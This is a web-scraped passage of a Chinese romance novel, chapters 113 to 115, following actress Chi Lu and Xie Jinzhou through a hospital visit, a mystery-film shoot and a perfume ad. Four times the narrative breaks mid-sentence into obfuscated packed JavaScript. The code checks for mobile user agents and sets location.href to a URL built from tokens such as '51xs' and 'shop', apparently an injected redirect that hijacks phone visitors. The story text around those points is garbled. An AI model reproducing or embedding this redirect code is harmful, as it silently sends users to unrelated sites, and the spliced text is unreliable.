等驰路到了医院,看到头上裹着纱布的罗子昂,吃了一惊,这是发生了什么,脑袋都快裹成木乃伊了。 “罗刺猬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560829|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你这怎么了?”驰路将买来的果篮放在床头柜上。 “咳,还能怎么了,”罗子昂不无得意地说,“还不是为爱受伤。” “为了你家清清?”驰路拉了一把椅子坐下来。 “可不是吗。”罗子昂想起前晚发生的事就来气,“就前晚,你不是让我们去给舟爷庆生吗,清清作为特邀嘉宾,又弹又唱的,本来氛围都很好,结果你知道发生什么事了吗,就在清清的地盘,还有人撒野。” 时清觉得包厢里有些闷,想去露台上透口气,结果被两个喝醉酒的男人堵在了楼梯口,不让她走,还各种对她进行调戏,其中一个男人甚至还要脱她敞开的宽松外套。 时清走时,罗子昂正被一帮兄弟们围着喝酒,等发现时清不见时,连忙出去找,生怕她出事。 等罗子昂到的时候,恰好看到男人要脱她的衣服,想都没想,上去就给男人一拳,男人踉踉跄跄地往后要倒,旁边的男人手里拎着酒瓶,直接朝罗子昂砸过去,头被砸坏了,血流了一脸,被拉去医院缝了六针。 本可以在第一天就出院,他非要待足三天,因为待的每一天,时清都会过来找他。 这是多大的殊荣啊,要知道平时都是他找时清。 昨天时清过来,又是给他倒水,又是给他削苹果,完全是把他供着的架势。 驰路听罗子昂这么说,想到了六年前,谢劲舟为自己也是这样义无反顾。 他们都为了对方,冲锋陷阵,哪怕豁出命,也要保护自己喜欢的人。 这就是爱吧! “罗哥,你这可真是,为爱砸破头!” “为爱砸破头算什么,”罗子昂豪气万丈道,“为爱送命,我都愿意!当然,只为清清送命。” 罗子昂所在的病房是大通间,还住着别的病人,驰路依然全副武装,她把两侧的帘子都拉上,才摘下墨镜、口罩。 “驰妹,你比电视上好看多啦!”罗子昂上次在酒吧看到驰路,还是她打鼓那次,又酷又飒。即使现在她穿着常服,依然掩盖不了她身上透出的独特气质,脸也比电视上小不少,精致好看。 “我们之间,就不用商业互吹了吧。”驰路笑。 “驰妹要是能商业互吹下,你罗哥还是举双脚赞同的。” “罗哥真是始终如一啊,不管是发型,还是爱情。”驰路发自内心地说。 “有什么办法,我就喜欢清清。” “就没想过放弃吗?”驰路从谢劲舟得知,罗子昂一直都没跟时清在一起过,却一直没放弃,一直是时清的小跟班,她在哪儿有演出,只要他有时间都会去。 随着“清白”乐队的知名度越来越大,他们会常常被邀请去全国各地的音乐会。去年,他们参加了32场音乐会,罗子昂就去了32次,做时清形影不离的免费助理,站在舞台下举着应援牌,高声呼喊:“时清时清,万古长青。”“清清,我喜欢你!” 他对时清的喜欢,勇敢炽热,在热闹人群中将爱意说尽。 音乐震耳,人声沸腾,她却一次都没听到。 32次的音乐会,花掉了他所有的积蓄。 每次他们演奏结束,罗子昂总会作为送花代表给他们送花,每次都会把花送给时清,每次送的花都不一样,但每次的花里都有一支玫瑰。 “清白”乐队的粉丝们都知道,他们的粉头叫“罗刺猬”,对时清情有独钟。 他每年都会在时清的生日会结束后,跟她说:“生日快乐啊,清清,永远是时三岁。” 在他这里,他的清清,永远可以做长不大的小孩。 每年,罗子昂都会在时清生日这天说:“清清,做我女朋友呗。” 时清每次的回答都不一样:“罗罗,谢谢你还喜欢我。不过,喜欢这事,没法强求,你别喜欢我了。”“罗罗,我说过了,我们不适合。”“罗罗,你又开玩笑。”“罗罗,以后别说这样的话了。” 喜欢在罗子昂这里,比千斤还重,那些看似随意说出口的话,只有他知道,他演练了多少遍。 六年的表白,换来的都是一句“不合适”。 有时,他很茫然,也很困惑,怎么就不合适了?他是长得不够帅?做得不够好?还是对她爱得不够深? 好像都不是,那为什么他的清清就是不喜欢他呢? 茫然、困惑后,他又重振旗鼓,一遍遍给自己做心理建设:只要时清没有恋爱,他就会有机会。 六年来,时清没有交过一个男朋友,他是有机会的。 不管时清跟他说什么,他都不会放弃,他会一直跟在她后面,做她的小跟班。 罗子昂跟驰路说:“我可以放弃任何事,但唯独不会放弃清清。” 她是舞台上耀眼的太阳,是他喜欢的具象。 驰路知道,喜欢这种事,不是说放弃就能放弃的,就像她跟谢劲舟。 也许,在罗子昂跟时清的剧本里,因为罗子昂的坚持不懈,他们会有一个完满的结局。 这世上,什么事,都是坚持才可能有结果,半途而废,终究抵达不了想去的星河。 “罗哥,你知道舟哥为什么不骑摩托车了吗?” “这个……”罗子昂挠了挠后脑勺,蹙起眉头,一副不愿意说的模样,“这事,是舟爷的伤疤,你说我作为舟爷的好哥们,能揭他的伤疤吗?” 113. 偷偷睡一起 「我拥有过的十八岁的夕阳、十八岁的盛夏, 都是关于你的,Z。 人生漫漫,晚风吹拂纱幔,晃荡得厉害。 像极了我爱你的形状。」 ——《小蝴蝶的星光》 顾辞山知道驰路受了伤,准了她三天假,但驰路休息了两天,第三天就开工了。 脚没完全好,上山的路比较难走,一路上小苏搀着她。 小苏左手拎着自己和驰路的包,右手搀着驰路,看上去比驰路还难走。 小苏看了看走在驰路右前方的谢劲舟,小声跟驰路说:“驰姐,要不要谢老师扶你会儿,我想休息下。” “不用。”驰路见小苏热得满头大汗,从她的手上拿过自己的包,“你累了,就歇会儿吧。” “驰姐,东西我来拿。”小苏刚想从驰路手上拿包,却被人提前拿走。 小苏一抬头,见是谢劲舟,连忙说:“谢谢谢老师。” 小苏还想说:“谢老师,驰姐交给你了。” 网上的热搜她看过了,两人都亲密接吻了,不是情侣鬼才信呢。 然而,还没等她说,谢劲舟扭头走了。 小苏心生纳闷:不是情侣吗,怎么搞得这么疏离! 路漫落在后面,在她们休息之际,终于赶上来,累得直喘气。 等休息了会儿,跟驰路说:“阿驰啊,这山,妈妈是最后一次陪你爬了。” 驰路立刻反应过来:“妈,你要回去了?” 路漫在这儿待了一个月着实待够了,不想再待下去了:“香水广告的拍摄、杂志拍摄啊,到时候相关时间、细节,我会发给小苏,让小苏给你安排好行程。” “好。”驰路不想跟路漫争辩下个月的这两个行程安排,“不过,妈,下次我进剧组,不想接拍摄时,你得尊重我的想法。” “下次啊,下次再说。”路漫是人精,她才不会提前保证。 “你明天走?” “嗯。”路漫说,“票已经买好了,明天不用送我,我直接打车去车站。” 路漫跟了剧组一天,驰路跟谢劲舟碍于她在,任何亲密举动都没做,反倒是驰路会主动撩谢劲舟,会在他搬东西时,趁没人时掐一下他的腰;会在跟他擦肩而过时,用手指擦过他的掌心;也会在他喝水后,拿起他的矿泉水喝几口…… 她收到了谢劲舟的信息:驰路,你安分点! 驰路看这条信息时,正在监视器后面看自己刚才的表演,不合时宜地笑了。 顾辞山见状,教导主任一样地说她:“阿驰,你看看你刚才演的,不在状态,就这种表演,还笑!” 驰路作为演技派,很快收了笑容,无视谢劲舟的短信,投入到演戏中。 …… 《密林深处》的剧情发展到,林墨对陈醉的怀疑越来越深,趁他不在房间时,去他房间里进行过搜索,却没有找到他杀人的线索。 谋杀案进入未解之际,陈醉凭空消失了,最初的6人,只剩下三人。 祁梦愈加惶恐,她知道,自己会是陈醉的下一个目标,她要先下手为强,这也是她愿意跟陈醉来这里的目的。 其实在来之前就知道陈醉不可告人的秘密,关于她的母亲,三年来,她一直以为陈醉是她母亲的救命恩人,却不想当年他救母亲不过是为了挽回他已经一败涂地的名声。 那时,关于陈醉花天酒地搞未成年少女的新闻满天飞,陈家陷入前所未有的丑闻事件中。三年前,陈醉在火灾中把祁母救出来,就是想扭转媒体风向,让外界知道,他不是什么恶人,而是可以不顾自己生命危险去救别人的大善人。 “火灾救人”事件被大肆报道,陈醉的期望达成了,被祁梦独一无二的气质吸引,几次三番地追求她,把她追到手,开始他的PUA之旅——她不用上班,他可以养她;她不用去见朋友,他会带她出去;她负责貌美如花,他负责赚钱养家。 祁梦跟陈醉在一起,除了陈醉对她的好,更多的是报恩,如果不是他,她的母亲怕是早已命丧火海。 直到来这里的一周前,祁梦无意间从陈家保姆王阿姨那儿听到,陈醉救她母亲的事实,也知道了,她母亲的去世不是一场意外,而是有计划的谋杀,谋杀的主犯是陈醉,从犯是王阿姨。 祁梦大为震惊,对陈醉所有的感恩,在那一瞬间顷刻覆灭。 为什么是陈醉?为什么要杀了母亲? 他本来就是戴着善良面具的恶魔吗? 为什么自己从来没有发现? 她躲在墙根处,死命地捂住自己的嘴巴,生怕发出一点声音,被王阿姨听到。 如果不是王阿姨贪心,向陈醉继续索要威胁费,怕是她这辈子都不知道这些真相。 那一刻,祁梦真想一刀杀了陈醉,跟了三年的枕边人,竟然是杀母凶手! 那晚,祁梦的身边依然有陈醉,再次被他折腾时,她只觉得恶心,黑暗中,他看不清她的表情。 她的眼里全是悲愤,以前她觉得他的爱就是如此暴戾,会狠狠地将她占有,会在她的身上留下大大小小的伤痕。 但她现在明白了,他是变态,是禽兽,是只把她当私有物的浑蛋! 她不会轻饶他! 她要亲手杀了他! 当陈醉提出要来这个偏僻的地方旅游,又要来到这无人的古老别墅时,她毫不犹豫地答应了,还很干脆地同意跟他玩“陌生人”的游戏。 她开始筹划怎么杀他,筹划了至少二十种以上的方案,当她亲眼看到陈醉不小心将苏棠推下悬崖时,一个计划在心头悄然萌芽。 合适的地点,合适的时机,将人推下悬崖,不会留下任何杀人证据,多么天衣无缝! 祁梦从小做惯了乖乖女,什么事都按照世俗既定的规则在活,上学、工作、谈恋爱、结婚,这些对她来说,都是到点了就应该要做的事。 她就像表盘里的指针,到哪个点了,她就需要走到哪个点,快一点慢一点都不行。 祁梦瞬间清醒,瞬间长大,她不要再做什么乖乖女了,也不要做被陈醉圈养在笼子里的金丝雀了,她要有她的人生,要有她的活法。 她身上新伤添旧伤根本不是陈醉对她爱的证明,不过是他变态的私欲。 之前她被他的恩情蒙蔽双眼,给自己“他是爱我的”心理暗示。靠着这心理暗示,让他折磨了自己整整三年,折磨了无数的日日夜夜。 女性意识觉醒,内心深处的新生念头被激活,在这深山别墅里,他对她的每一次占有和折磨,都让她深深厌恶,但她都隐忍着、克制着。 她在寻找机会下手。 给林墨发照片的人是她,那晚她跟踪陈醉,打开手机录像,录下了他不小心推苏棠坠崖的一幕。 她只截了个图发给林墨,希望他能从陈醉身上找线索,将他捉拿归案。 祁梦却没料到,陈醉这人防范意识很重,非但没留下任何把柄,反而先下手为强,将林墨杀了。 陆程真在这场暗涌的诡异氛围里察觉到了异常,他默默地观察每个人,祁梦、陈醉、林墨都各有不为人知的秘密。 在那场呼啸着晚风的夏夜里,他跟祁梦坐在山顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560830|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,望着远处豆点大的星火,祁梦第一次跟他说出自己的秘密、自己的计划。 这些都不在祁梦的计划里,但她想告诉他。 因为她害怕,自己计划失败后,没人知道陈醉的那些秘密。 那晚,陆程真抱住她,感到她的身体在微微颤抖着,他在她的耳边说:“祁梦,接下来,你什么都别做,你想做的,我替你做。” …… 剧情发展到这儿,已到九月中旬,夜晚的山顶已有凉意,驰路将脑袋搁在谢劲舟的肩头,眼里泛着泪光,在盈盈月光下,破碎得像个瓷娃娃。 祁梦再次在陆程真这里,找寻到了归属感。 顾辞山喊“咔!”,其他剧组人员开始收拾东西准备下山。 驰路从谢劲舟怀里起来,谢劲舟将身上的衬衫脱了给只穿了一件短袖旗袍的驰路穿上,自己只穿了一件白色背心。 顾辞山对这一幕见怪不怪,这段时间,谢劲舟对驰路挺关心,他看出来了,他们的关系非同寻常,大抵如热搜上所言,是情侣。 有次,他抽烟时遇到谢劲舟,跟他说:“在公众场合,别太明显,这样,对你俩都好。” 谢劲舟对驰路的关心,自然得像两人只是拍戏搭子。 副导演把每次谢劲舟对驰路的关心都录了下来,以备后期宣传用。 回酒店的路上,驰路依然坐着保姆车,谢劲舟依然开着他的破旧越野车,只有到了深夜,他才会全副武装地去找驰路。 驰路每晚都在谢劲舟怀里睡,这是她当演员以来,睡得最安稳的一段时光。 谁都不提以后,谁都用力地过好当下。 …… 第二天驰路要去录制香水广告,为了能陪驰路一起过去,谢劲舟之前特意找顾辞山集中拍了他的戏份。 当天小苏重感冒没法陪同,前去的还有驰路的御用化妆师叶薇薇。 拍摄地点,对方给了三个,结合要拍的主题、内容,驰路第一时间想到了静心山,对方提前去踩点,觉得合适,最终敲定了静心山。 从平安镇到芳町镇的路途并不遥远,驰路却觉得用了很久才到。 一路上,她看着风起尘落,看着街道两旁的树被阳光洒了一层层光晕,看熟悉的店铺、一闪而过的熟悉街景…… 往事如风,却又清晰如昨。 芳町镇的每一处角落,那么熟悉,又那么陌生,这是她待了半年的地方。 在那个盛夏时节,她遇到了她生命里最重要的少年。 她走过迷雾漫天,走过天光大亮,不论变幻几个春秋,被搁浅的那叶舟,一直停靠在原来的港口。 驰路往谢劲舟的方向挪了挪,握住他的手,谢劲舟一转头,看到驰路脸上露出笑容。 她笑得那么纯粹、那么天真,仿佛还是那个十八岁的少女。 “怎么了?”谢劲舟反握住她的手,用手指轻轻挠着她的掌心。 掌心处如羽毛挠着,挠得她心尖儿泛起一阵痒。 驰路很想靠到他的肩头,但克制住了,只是凑近他的耳边,用只有他们才能听到的声音说:“谢劲舟,谢谢你等我。” 热气全部呼到了他的耳朵里,他的耳廓不由得泛红。 谢劲舟俯身,咬了咬她的耳骨,轻声说:“我的蝴蝶,我的信徒,我的一生,都在为你等待。” 幸好,他们义无反顾地走向了彼此。 幸好,神明还是那个神明,信徒还是那个信徒。 幸好,寻遍万里,他们还是彼此的信仰。 少年的爱,一如从前,坚定又热烈。 114. 谢大佬为爱折腰 「人间好时光,不过是, 看杨柳拂堤,看月光升起,看日子更新。 在涨潮的海水里,一遍遍喜欢你。」 ——《小船靠岸》 到静心山脚下时,驰路有种重回故土的兴奋感,这座山见证了她跟谢劲舟太多无法忘怀的时光。 她有些怀念谢劲舟骑着摩托车带她来这里的日子,彼时,他是骑着摩托车的又酷又拽的少年,嚣张、拉风。 他不让任何人坐在摩托车后座上,除了她。 驰路落在最后面,望着漫山遍野的花草和树,心头交织着百般滋味。 “驰老师,怎么不走?”谢劲舟走到她身边,人前对她依然礼貌地叫“驰老师”。 “晚上,我要去开摩托车。”驰路抿唇一笑,“谢老师,你跟浩哥说一声。” 谢劲舟的神色肉眼可见地一凛,仿若结冰。 “摩托车”在他这里仿佛是不能提的伤口。 他到底遭遇了什么,会放弃骑摩托车? “我想去放松放松。”驰路好久没开摩托车了,怀念驰骋风中的滋味了。 谢劲舟没有回答,往前走。 “驰老师,谢老师对你真好。”叶薇薇看着走在前面拎着大包小包的谢劲舟,羡慕道。 “薇薇,你喜欢周老师吧?” “啊?”叶薇薇一惊,但只有一秒,很快笑道,“怎么会。” “喜欢谁,不喜欢谁,一个眼神就能分辨,你看周老师的眼神都要冒出粉红泡泡。” “没有的事。”叶薇薇连忙摆手,“周老师,哪是我能高攀得起的。” “喜欢,没有高低之分。喜欢谁,可以勇敢去追,错过了,也许会遗憾一生。”驰路伸手,“要不要我帮你拿点东西?” “哪里敢让你拿啊,你可是大明星!”叶薇薇虽然面露笑容,但这笑里带着些许的生疏。 驰路放下手,第六感告诉她,叶薇薇只把她当合作伙伴。 认识叶薇薇,也是这两个月的事,她是剧组里给她安排的御用化妆师。 叶薇薇给她化的妆,很符合她的气质,所以这次的广告拍摄,特意请她过来。 …… 一行人在静心小屋里开工。 其实,在驰路提出要去静心山拍摄时,谢劲舟死活不同意:“那是我们的家,我不希望任何人入侵!” 驰路也不想,但为了广告能拍出她想要的效果,努力说服谢劲舟:“舟哥,那是我们的家,我们是主人,他们是客人,客人来家里,是不是也可以?何况,这些客人,还要为主人拍好看的照片。” 驰路几番说服,谢劲舟最终才答应下来。 为了他们过来,谢主人这两天晚上都过来收拾屋子,当看到一帮人都挤在并不大的客厅里时,靠在门边的谢主人眉头蹙起。 驰路化妆间隙,余光环顾了四周,这里面的摆设还跟从前一样,鱼缸里的水在冒着泡,里面有几尾红色的小鱼在游弋。 面前的茶几上摆放着一个花瓶,里面插着新鲜的洋桔梗。 屋里多了一件东西,从她进屋那刻起,便发现了,是摆放在鱼缸上方的横版照片。 是她在《摇摇晃晃的青春》里的一张剧照,烈日下,扎着马尾辫的她,在学校操场的跑道上跑步,脸上流着汗水,头发被浸湿。 旁边有一行宣传语:青春摇摇晃晃,而我偏要与命运奋力抵抗。 照片放在原木色的相框里,相框像是亲手做的,照片的颜色微微泛黄,挂上去有些日子了吧。 这是去年她出演女一号的电影,他第一时间把剧照装裱起来了?他一直在关注她? 驰路的心头泛起酸胀的滋味,她从没想过,在她看不见的地方,他依然把她放在心上。 心间仿若刮过一阵海啸,是神明从远古而来,低声呐喊,是夏日蝉鸣不止后,那一场无法克制的心动。 他明明知道客户要来,却没有把相框收起来,喜欢过于明目张胆。 叶薇薇给她化妆时说:“驰老师,原来谢老师是您的粉丝啊。” “可能吧。”驰路拿出手机给谢劲舟发信息:舟哥,照片怎么没有收起来? 并没有收到他的回复,屋里也没见到他。 她知道这两晚谢劲舟忙于收拾屋子,都没睡好觉,她也没睡好,因为他不在身边。 等她化好妆,才收到谢劲舟的回复:喜欢的东西,为什么要收起来。 驰路站起来,朝外面看,看到门边倚着一个身材颀长的男人,染着雾霾蓝的头发,懒懒地曲着一只腿,姿态慵懒又痞气。 他一转头,两人的视线隔空对上,如两团火焰在空中灼灼燃烧。 仿若穿越时光,她又看到了十八岁炙热的少年。 …… 第一个拍摄主题是【花间蝴蝶】,驰路从屋里走出来时,谢劲舟愣了几秒,走在光下的下,宛若穿梭在花草间的天使,全身笼着一层薄薄的金光,照着她玲珑又纤细的身体。 她穿了一袭一字肩的白色纱裙,纱裙的大裙摆处手工缝制了999朵粉色玫瑰,纯洁中透出极致的妩媚。 每走一步,裙摆都会随之舞动,她扭头看他,唇角含笑,一笑倾城,震颤着他的心。 她的妆容主打十八岁青春少女的剔透、纯情,一刀切的短发被扎了起来,刘海放在前额,被打造得蓬松,具有空气感,右眼睛下方沾着几片粉白色的花瓣,左肩处沾着一只粉紫色蝴蝶。 她走在花草中,绝美、禁欲。 驰路在草丛间奔跑,蝴蝶在她身边萦绕,裙摆在身后飘荡,她笑得恣意,一伸手,蝴蝶停留在指间,手腕处戴着一条链子,五彩斑斓,上面有一只蓝色蝴蝶。 谢劲舟注意到了,这还是六年前,他亲手做的那条,她竟然在这样的场合戴塑料手链。 不过,这条彩色手链戴在她白皙纤细的腕间,倒也熠熠发光。 他第一次意识到,东西贵不贵不太重要,合适才最重要。 谢劲舟感觉到了,她每次不看摄影机时,都会看他的方向,含笑的眼睛里带着甜蜜和柔情,仿佛香水给了她无尽的人生乐趣。 她身上没了酷飒的那股劲儿,完全变了另一种风格,甜美,温柔。 那双妩媚的狐狸眼被画成了小鹿眼,圆溜溜的,眼眸如湖水般清澈。 她似坠落凡间的仙子,鲜花、蝴蝶皆奔她而来。 她自由奔跑在天地间,无拘无束地像一只蝴蝶。 跑累了,她随意地躺倒在花草上,抬手遮住烈阳,摄影机、照相机拍下的每一帧都是大片。 谁都看到了她后背上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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驰路一眼看出,这是白桃味的。 摄影师让她拿着棒棒糖拍,又让她轻轻地含在唇间,忧郁中多了一丝俏皮,她微微弯起眉眼,笑容极具感染力,有一种治愈人心的力量。 最后一幕是驰路拿着香水奔跑,她赤脚跑过草丛,穿过树荫,踏过河岸,蝴蝶始终追随着她。 她是花香的引领者,引来蝴蝶随从,众人的目光都不由自主地跟着她。 “好了,很棒!”摄影师第一次跟驰路合作,惊讶于她的镜头表现力,大多时候都是她的个人演绎,她用自己的方式呈现出了【花间蝴蝶】的独特魅力。 谢劲舟尽心尽责地做着驰路的贴身助理,第一时间跑过去,帮她拉了拉裙子,给她递过去一双平底凉鞋,又为她撑起一把太阳伞,他在伞外,为她遮住所有的阳光。 他一手为她撑伞,一手帮她提裙。 芳町镇大佬,在众目睽睽下,为爱折腰。 “刚才表现得怎么样?”驰路朝他眨眼,长睫下是一双好看的琉璃眼。 “蝴蝶坠入人间,风光无限!” 玫瑰开花,爱意疯长,少年的喜欢,永远比天光还亮。 115. 小蝴蝶出意外 「风拂过草场、吹过山岗, 我看到了一道光,穿越时光的墙,准时抵达。 Z,你不是破败的教堂,你是我坚定的后方。」 ——《小蝴蝶的星光》 驰路去房间换衣服,正要关门,却有一只手挡住:“你干吗?” 谢劲舟推门而入,反手关门,在拉好帘子的卧室里,将驰路按在门上,逮住她的唇,凶狠地吻她。 “舟哥……”话语一说口,全是破碎,她被他吻得浑身血液沸腾、心跳如鼓。 外面传来嘈杂的人声,遮盖住他们的亲吻声。 “你疯啦,快放开我!”驰路用牙尖轻咬了他的舌,他却没松开。 他如同想肆意将她占有的野兽,拼命地汲取她所有的气息。 她没想到谢劲舟这么不分时候,一门之隔,全是人,他这也太放肆了。 谢劲舟紧紧箍着她,右手抚过她细腻如瓷的后背,身体每处都燃烧着经久不息的火焰。 唇齿间留有白桃味的香气,彼此呼吸交融,他的身体本能地向她靠近,完全贴着她的。 她身上散发出清幽的玫瑰花香,一如她十八岁那年,每次沐浴后的香气。 香气撩人,他尽情地吻他的蝴蝶,吻得她快要喘不过气,他才从她的唇齿间退开,右手从她的肩头,顺着她的左臂往下滑,摸到她腕间的手链,心头袭上穿越时光的悸动。 她在用她的方式,告诉他,不管是他看见的地方,还是看不见的地方,她都是在意他的。 谢劲舟摸到她的手,与她十指紧紧相扣,嘴唇移到她的右眼下方的粉白色花瓣处,一遍一遍地亲着,沾在了他的唇上,他就一口一口地吃掉,仿佛要把坠入人间的仙子完全占有。 最后一瓣花瓣,他留在齿间,探入驰路唇中,将味道与她共享。 两人的唇舌交缠,驰路碰触到了异物,小小的,很软,带着花香,很快明白过来。 真是个疯子! 暧昧声在小小的空间里回荡,她听到他说:“驰宝,老子要是疯了,现在就把你给办了!” 尚存的理智,让他没有在她身上留下任何痕迹。 就在谢劲舟埋头在驰路的颈窝里吻她脖颈时,传来敲门声,吓得驰路连忙推开谢劲舟,看到他唇上的口红,连忙帮他擦掉。 “我的呢?”驰路指了指自己的嘴巴。 “你的,很好。”谢劲舟不禁笑,她的嘴巴原来涂的是肉粉色的口红,几乎是自然的唇色,现在变成了玫瑰红,娇艳欲滴,万分诱惑。 驰路不放心,掏出手机看,嘴巴被亲得红肿,嘴角晕开口红,她抬头睨了眼罪魁祸首,迅速地擦掉嘴角的口红。 转身开门,是送下一套服装的叶薇薇:“鱼尾服难穿,要不要我帮你?” “不用,我自己来。”屋里藏着男人,驰路怎么可能放叶薇薇进来。 “你的嘴巴……”叶薇薇看出了异样,方才发现屋里并没有谢劲舟,想来,他们应该共处一室。 “我先换衣服了。”驰路心有点慌,但面上却丝毫没表露出来,适时转移话题。 关上门,她才长长舒了口气,跟谢劲舟说:“你出去。” “怕了?”谢劲舟挑起她的下巴,用挑衅的口吻说。 驰路是什么性子,他越这样,她越不服输,不就是吻了她吗,她怕什么! …… 当谢劲舟看到驰路要穿的下一套服装时,拎起其中一件类似比基尼的蓝色蝴蝶上衣,面色顿时一沉:“就穿这?” “拍摄需要。”驰路耸肩,做无奈状,“配合合作方,是最基本的职业修养。” “你当时就应该推掉。”谢劲舟把布料少得可怜的上衣往床上一扔,面色不爽。 驰路看了看那上衣,尺度还行,之前她拍过在海滩上的戏,穿比基尼,要是被谢劲舟看到,还不得让她另换泳衣。 这是一套深蓝色的人鱼服装,接下来要拍的主题是【水下人鱼】,自然要拍水里的场景。 驰路背对着谢劲舟想脱上一套玫瑰裙,谢劲舟一直靠着墙看她。 驰路还不习惯白天被谢劲舟这样直视:“舟哥,你出去吧,我要换衣服。” “还不好意思?”谢劲舟轻笑,“你身上哪儿,我没看过。” “不一样。”驰路走到谢劲舟身边,继续撵人,“你出去。” “行。”谢劲舟终于往前走了两步,“你换,记得锁好门。” “嗯。” 驰路换好衣服出来时,在客厅的每个人几乎都看向她,视线都移不开。 “小申哥,驰老师是我见过最好看的人鱼!”录像师的助理惊叹。 “驰老师是人鱼本鱼啊!”摄影师的助理看得眼睛一动不动。 录像师、摄影师也都直直地看着驰路。 坐在沙发上的叶薇薇正在拿化妆用品,见到驰路时,手一松,手中的刷子啪地落地。 谢劲舟本来还在看鱼,听到动静,转头,看到驰路的那一眼,深邃眼眸里透出一抹震惊。 站在沙发旁的驰路,一改第一套纯欲仙女风,此刻她上身穿着一件蓝色挂脖蝴蝶状上衣,下身穿着蓝色珠片人鱼服,纤细笔直的双腿完全被紧紧裹住,勾勒出她傲然的身段,腰肢细得盈盈可握,腿长似有两米,后面拖着一条蝴蝶花纹的蓝黑相间的尾巴。 衣服大小,仿佛量身定制。 窗外洒进来的光,尽数落在她身上,珠片人鱼服耀眼璀璨,他的蝴蝶,化身为一尾绝美人鱼。 “这算什么,你们待会儿再看,效果还会更好。”叶薇薇站起来,示意驰路坐到沙发上。 衣服好看是好看,但走起来极其不方便,被裹住双腿的人鱼,只能跳着走路,众人忍俊不禁。 谢劲舟不禁勾唇,这人鱼瞬间变成蓝色小青蛙,不过,倒也可爱。 驰路化妆时,特意让谢劲舟出去,起初他觉得纳闷,换衣服让他出去,她害羞,他还能理解,这化妆怎么也让他出去。 直到驰路从屋里走出来,朝谢劲舟抛了个wink(媚眼),谢劲舟才恍悟,她不让自己看化妆过程的目的。 她这只小狐狸,是想让他看到她惊艳众人的一面。 驰小狐狸这一个wink,直撩得谢劲舟血液沸腾。 化了人鱼妆的驰小狐狸,比方才还要更像一尾人鱼,右眼下方化了蓝白色的鱼鳞,右肩膀也化了。 她的一刀切短发,变成了一头黑长直,右耳后面夹了一个蓝黑色燕尾蝶的大夹子。 她是燕尾蝶人鱼,绝美,性感,神秘,还透着一股冷艳气质。 之前谢劲舟在各种报道上看到有人说驰路是“百变天后”,这次他是实实在在地看到了。 “怎么样?”驰小狐狸如青蛙般,蹦蹦跳跳地跳到了谢劲舟面前。 “用网上的话说,叫人间尤物。” “用你的话说是什么?” “是挂在树上的青梅。” “嗯?”驰小狐狸微微皱眉,这是什么奇怪的比喻! 谢劲舟一把将她抱起来,小声说:“想吃,又吃不到。” …… 小助理们看着谢劲舟将驰路抱起时,都惊讶不已,这助理是太尽责,还是如网上所说,两人是情侣? 两助理低语八卦间,得出一个结论:如果他俩不是真的,我就是假的! 她们羡慕驰大明星,谢劲舟不仅人帅,男友力还很爆表,一路把她抱到湖边,中途没休息一次,连气都没喘一下。 * 沈倩倩爬到半山腰,顺着人声走到湖边,看到的便是谢劲舟抱驰路的画面,俊男靓女,极为养眼,但她心头却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560832|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酸酸的。 这天周六,她特意从学校回来看谢奶奶和小乔,中午吃饭时,从谢奶奶那儿得知谢劲舟回来了,就在静心山。 她动了想来的念头,半个月没见谢劲舟了,她特意摘了院子里刚红了的枣子,洗干净了装在玻璃罐里,给谢劲舟带过去。 她以为只有谢劲舟一个人,没想到阵仗挺大。 这是她第一次见到驰路,她本人比杂志上、电视上还要漂亮,是那种放在人群中你会一眼就能看到的。 她穿着人鱼服,被谢劲舟抱在怀里,一个帅得痞气张扬,一个美得颠倒众生。 他们明明很相配,她也知道他们重归于好,她本应该为他们开心,但她一点都开心不起来。 她以为只要自己一直守在谢劲舟身边,最终,他会被她感动,接受她。 这一刻,她忽然明白,感动的风,是吹不到喜欢的人心里的。 头顶悬着一枚太阳,她却觉得身体似灌进寒风,骨头都发凉。 停留片刻,她还是拎着那满满一罐洗干净的红枣朝他们走去。 沈倩倩走到他们身边,笑着举起手里的罐子:“舟哥,看我给你带什么了。” “你来做什么!”谢劲舟脸一沉,他们在工作,她怎么偏偏在这时候来了。 沈倩倩的笑容僵在脸上,也只有一瞬,又很懂事地往后退,边退边说:“你们先忙,我在旁边看着就行。” 